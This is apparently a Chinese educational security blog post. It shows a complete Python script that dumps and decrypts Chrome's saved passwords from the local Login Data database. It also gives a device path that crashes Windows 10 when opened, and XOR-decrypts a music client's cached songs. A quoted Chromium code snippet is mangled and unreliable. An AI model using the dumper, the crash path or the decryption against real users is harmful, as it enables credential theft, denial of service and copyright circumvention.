您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
作者前面详细介绍了熊猫烧香病毒的逆向分析过程。这篇文章换个主题继续介绍,本文将对Chrome浏览器保留密码的功能进行渗透解析;同时复现一个最近流行的漏洞,通过Chrome浏览器实现Win10蓝屏;最后介绍音乐软件的加密功能及漏洞复现。这些基础性知识不仅和系统安全相关,同样与我们身边的APP、常用软件及系统紧密联系,希望这些知识对您有所帮助,更希望大家提高安全意识,开发厂商进行相关的漏洞修补,安全保障任重道远。
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!
接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~
- 推荐前文:网络安全自学篇系列-100篇
作者的github资源:
前文分析:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)
大家可能都见过浏览器保存密码的功能,那么,Chrome浏览器是如何存储这些用户名和密码呢?它是否也不安全呢?我们以Chrome浏览器为例进行安全测试知识普及。
首先,打开密码管理器。设置->高级->密码,或者输入:
然后,我们查看某个网站的密码。所幸,Chrome浏览器对显示的密码进行了一道验证,需要输入正确的电脑账户密码才能查看,如下图所示。
最后,输出Windows账户正确显示对应网站的密码。
安全普及:
由于Windows账户密码是一个常量,并不是只有Chrome才能读取“主密码”,其他外部工具也能获取加密数据,同样也可以解密加密数据。比如使用NirSoft的免费工具ChromePass(NirSoft官方下载) ,就可以看得你已保存的密码数据,并且可以轻松导出为文本文件。 既然ChromePass可以读取加密的密码数据,那么恶意软件也是能读取的。
注意,当ChromePass.exe被上传至VirusTotal 时,超过半数的反病毒(AV)引擎会标记这一行为是危险级别。不过微软的Security Essentials并没有把这一行为标记为危险。
假设你的电脑被盗,小偷重设了Windows账号密码。如果他们随后尝试在Chrome中查看你的密码,或用ChromePass来查看,密码数据都是不可用。原因很简单,因为“主密码”并不匹配,所以解密失败。此外,如果有人把那个SQLite数据库文件复制走了,并尝试在另外一台电脑上打开,ChromePass也将显示空密码,原因同上。
首先,我们在Web渗透或Python网络爬虫中,都知道分析网页DOM树结构可以定位指定元素。那么,作者能不能修改input密码的属性,让它显示密码呢?如下图所示:
再次幸运,Chrome应该已经解决了该漏洞,显示空白。
接下来,作者尝试获取本地Chrome浏览器登录的账户信息。
第一步,找到密码存储的位置,文件或者是注册表。
这个时候需要开启监控工具Process Monitor(后面的文章会详细介绍),查看打开注册表和文件操作信息。然后到chrome密码管理界面,随便删除一条记录,然后看看chrome本身对哪些文件或者注册表进行了修改。推荐TK13大神文章:
同样,可以直接寻找文件,通常用户名文件的存储路径为:
第二步,找到如下图所示的文件——Login Data。
第三步,打开这个文件,还好这个文件是加密的,而不是明文存储。
虽然该文件加密了,但是可以看到它是 SQLite format 3 的格式。接着通过工具读取该数据。这里使用 Navicat Premium工具。
Navicat premium是一款数据库管理工具,是一个可多重连线资料库的管理工具,它可以让你以单一程式同时连线到 MySQL、SQLite、Oracle 及 PostgreSQL 资料库,让管理不同类型的资料库更加的方便。
第四步,打开Navicat premium,新建连接。
第五步,输入连接名如“test0803”,并导入本地的“Login Data”数据。
第六步,打开之后在“main”数据库中包含了三张表,其中logins为登录表。
新版本表增加如下图所示:
第七步,打开如下所示,比如163邮箱的用户名为我的电话,密码是加密的。
第八步,解密思想。
想要解密一个加密算法是很难的。这学习TK13大神的文章,了解到Chrome开源的加密函数CryptProtectData和CryptUnprotectData。这对加解密函数非常特别,调用的时候会去验证本地登录身份,这也就是为什么别人的那个密码文档不能直接拷贝到我们自己chrome相关文件夹下去看的原因了。
接下来是代码实现,找到开源的Sqllite3库,把数据库解析出来,然后得到密码的加密数据,用CryptUnprotectData解密。注意,如果chrome开启的时候直接对这个数据库文件操作会失败,建议每次操作先把文件拷贝出来再处理。
第九步,使用AnalysisChromeLogin.exe工具进行解密。将Login Data放置到同一个文件夹下运行即可。
渗透结论:是不是很可怕,所以个人电脑大家一定要保护好开机密码,别轻易让坏人使用。后续尝试破壳看看这个EXE程序源代码是如何解析的。
下面分享N1ckw0rm大神讲解的Chrome浏览器密码存储机制。谷歌浏览器加密后的密钥存储于%APPDATA%…\Local\Google\ Chrome\User Data\Default\Login Data 下的一个SQLite数据库中。那么他是如何加密的呢,通过开源的Chromium,我们来一探究竟:
首先,我们作为用户登录一个网站时,会在表单提交Username以及Password相应的值,Chrome会首先判断此次登录是否是一次成功的登录,部分判断代码如下:
Provisional_save_manager_->SubmitPassed();
if (provisional_save_manager_->HasGeneratedPassword())
UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);
If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword()){
Delegate_->AddSavePasswordInfoBarIfPermitted(
Provisional_save_manager_.release());
} else {
provisional_save_manager_->Save();
Provisional_save_manager_.reset();
}
当我们登录成功时,并且使用的是一套新的证书(也就是说是xx次登录该网站),Chrome就会询问我们是否需要记住密码。
那么登录成功后,密码是如何被Chrome存储的呢?答案在EncryptedString函数,通过调用EncryptString16函数,代码如下:
Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {
DATA_BLOB input;
Input.pbData = static_cast<DWORD>(plaintext.length());
DATA_BLOB output;
BOOL result = CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output);
if (!result)
Return false;
//复制操作
Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbData);
LocalFree(output.pbData);
Return true;
}
代码利用了Widows API函数CryptProtectData(前面提到过)来加密。当我们拥有证书时,密码就会被回复给我们使用。在我们得到服务器权限后,证书的问题已经不用考虑了,所以接下来就可以获得这些密码。
下面通过Python代码实现从环境变量中读取Login Data文件的数据,再获取用户名和密码,并将接收的结果通过win32crypt.CryptUnprotectData解密密码。
google_path = r’ Google\Chrome\User Data\Default\Login Data’
file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)
#Login Data文件可以利用python中的sqlite3库来操作。
conn = sqlite3.connect(file_path)
for row in conn.execute('select username_value, password_value, signon_realm from logins'):
#利用Win32crpt.CryptUnprotectData来对通过加密的密码进行解密操作。
cursor = conn.cursor()
cursor.execute('select username_value, password_value, signon_realm from logins')
#接收全部返回结果
#利用win32crypt.CryptUnprotectData解密后,通过输出passwd这个元组中内容,获取Chrome浏览器存储的密码
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
用CryptUnprotectData函数解密,与之对应的是前面提到的CryptProtectData,理论上来说CryptProtectData加密的文本内容,都可以通过CryptUnprotectData函数来解密。对其他服务的解密方式,大家可以自行尝试。
完整的脚本代码如下所示:
#coding:utf8
import os, sys
import sqlite3
import win32crypt
google_path = r'Google\Chrome\User Data\Default\Login Data'
db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)
conn = sqlite3.connect(db_file_path)
cursor = conn.cursor()
cursor.execute('select username_value, password_value, signon_realm from logins')
#接收全部返回结果
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
if passwd:
print '-------------------------'
print u'[+]用户名: ' + data[0]
print u'[+]密码: ' + passwd[1]
print u'[+]网站URL: ' + data[2]
个人安全建议:
接下来补充一个2021年初大家会遇到的Chrome浏览器导致Win10蓝屏的漏洞。
注意:该漏洞请勿轻易测试,需要在个人虚拟机上测试,测试前先保存好资料。本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
第一步,在Win10谷歌浏览器(建议使用虚拟机测试)中输入命令。
\\.\globalroot\device\condrv\kernelconnect
第二步,我们的计算机就会自动蓝屏重启。
该漏洞请勿轻易测试,个人虚拟机测试前先保存好资料。漏洞可用于拒绝服务攻击,并且微软还未修复该漏洞,微软edge浏览器也具有相同的效果。
第三步,分析漏洞原因,参考bleepingcomputer网站。
该Windows 10中的错误是通过在浏览器的地址栏中打开特定路径或使用其他Windows命令,即可使操作系统崩溃并显示蓝屏死机。据BleepingComputer了解,这是Windows安全研究人员在Twitter上披露的两个错误,攻击者可以在各种攻击中滥用这些错误。
第一个错误允许无特权的用户或程序输入单个命令,该命令会导致NTFS卷被标记为已损坏。该测试表明该命令导致硬盘驱动器损坏,从而导致Windows无法启动,本文不复现该漏洞。
第二个漏洞是Windows 10通过尝试打开一条异常路径而导致BSOD(Blue Screen of Death,蓝屏死机)崩溃,致使电脑蓝屏重启。
自去年10月以来,Windows安全研究员Jonas Lykkegaard已经多次在推特上发布了一个路径,当输入到 Chrome 浏览器地址栏时,该路径会立即导致Windows 10崩溃并显示BSOD(蓝屏死机)。
当开发人员想要直接与Windows设备进行交互时,他们可以将Win32设备命名空间路径作为参数传递给Windows编程函数。例如,允许应用程序直接与物理磁盘进行交互,而无需通过文件系统。Lykkegaard告诉BleepingComputer,他发现了以下 “控制台多路复用器驱动程序” 的 Win32 设备命名空间路径,他认为该路径用于 “内核/用户模式ipc”。当以各种方式打开该路径时,即使是低权限用户,也会导致 Windows 10 崩溃。
\\.\globalroot\device\condrv\kernelconnect
当连接到该设备时,开发人员应传递“ attach”扩展属性以与该设备正确通信。如果你试图在没有传递属性的情况下由于错误检查不当而连接到该路径,它将导致一个异常,最终导致Win10出现BSOD崩溃。
更糟糕的是,特权低的Windows用户可以尝试使用此路径连接到设备,从而使计算机上执行的任何程序都很容易让Windows 10崩溃。在测试中,已经确认此错误在Windows 10 1709版及以后的版本中存在。
winver
查看windows版本信息如下图所示:
BleepingComputer公司上周与Microsoft联系,以了解他们是否已经知道该错误以及是否会修复该错误。微软表示:“调查了已报告的安全问题,并承诺会尽快为受影响的设备提供更新。”
虽然目前尚不确定此漏洞是否可用于远程执行代码或提升特权,但可以将其以当前形式用作对计算机的拒绝服务攻击。BleepingComputer通过共享一个Windows URL文件(.url),其设置指向路径:
当下载文件后,Windows 10会尝试从有问题的路径中呈现URL文件的图标,并自动使Windows 10崩溃。此后,BleepingComputer发现了许多其他利用此bug的方法,包括在Windows登录时自动导致BSOD的方法。
注意,在现实生活中,该漏洞可能会被攻击者滥用,他们可以访问网络并希望在攻击过程中掩盖自己的踪迹。如果他们具有管理员权限,则可以远程执行访问网络上所有Windows 10设备上的此路径的命令,以使它们崩溃。在网络上造成的破坏可能会延迟调查或阻止管理控件检测到特定计算机上的攻击。2017年,在攻击远东国际银行(FEIB)银行时攻击者就使用了类似的攻击手法。在该攻击中,威胁行为者在网络上部署了爱马仕勒索软件(the Hermes ransomware),以延迟对攻击的调查。
作为安全白帽子,我们应该发现漏洞即时通知相关厂商进行漏洞修补。既然操作系统、浏览器存在一些漏洞,那么常用的软件会存在漏洞吗?
接下来复现CSDN“鬼手56”大神的文章,他的网络安全、Crackme、病毒分析、软件逆向等系列文章真心推荐大家学习,包括他开源的项目,他的文章我都准备all in。
第一步,打开PC端某音乐客户端,比如想下载周杰伦的“骑士精神”,通常会被拒绝。
第二步,此时点开设置,选中“下载设置”,找到缓存文件目录。
C:\Users\用户名\AppData\Local\Netease\CloudMusic\Cache\Cache
第三步,双击播放该歌曲,然后按照寻找最新的文件或只保留一首歌,其中后缀名为“.uc”的最大文件就是加密过后的文件。
第四步,接在将文件拖动到010 Editor软件,如下图所示:它是一个加密文件,最多的数据是A3,鬼手大神成果的预测其是加密后的无意义0,通常音频的加密方式不会太复杂,而最简单的异或加密(可逆)。
第五步,接着点开菜单,Tools(工具),将其转换为“十六进制”,进行“二进制异或”操作,修改数据为无符号十六进制,并对A3进行异或即可。
注意选择无符号(Unsigned Byte)和异或A3。
异或加密解密:
A3 ⊕ A3 = 00
A 01100001 3 00000011
A 01100001 3 00000011
0 00000000 0 00000000
文件解密如下所示,其中A3变换为00,解密完之后的字符变得有意义。前三个字节是ID3,这个是MP3文件格式的头部。
最后,将文件重命名为“.mp3”,此时可以听歌了,“骑士精神”走起。
注意:这是一个简单的加密过程,推荐读者们下载正版歌曲,共同维护版权和绿色网络环境。同时,异或加密音乐已经很多年了,希望这些开发公司优化下加密算法,解决这个漏洞。
写到这里,这篇文章介绍结束,分别叙述了三个漏洞:
如果你是一名新人,一定要踏踏实实亲自动手去完成这些基础的逆向分析,相信会让你逐步提升,过程确实很痛苦,但做什么事又不辛苦呢?加油!希望你能成长为一名厉害的系统安全工程师或病毒分析师,到时候记得回到这篇文章的起点,告诉你的好友。
学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。
2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。
(By:Eastmount 2021-01-21 星期四 夜于武汉 http://blog.csdn.net/eastmount/ )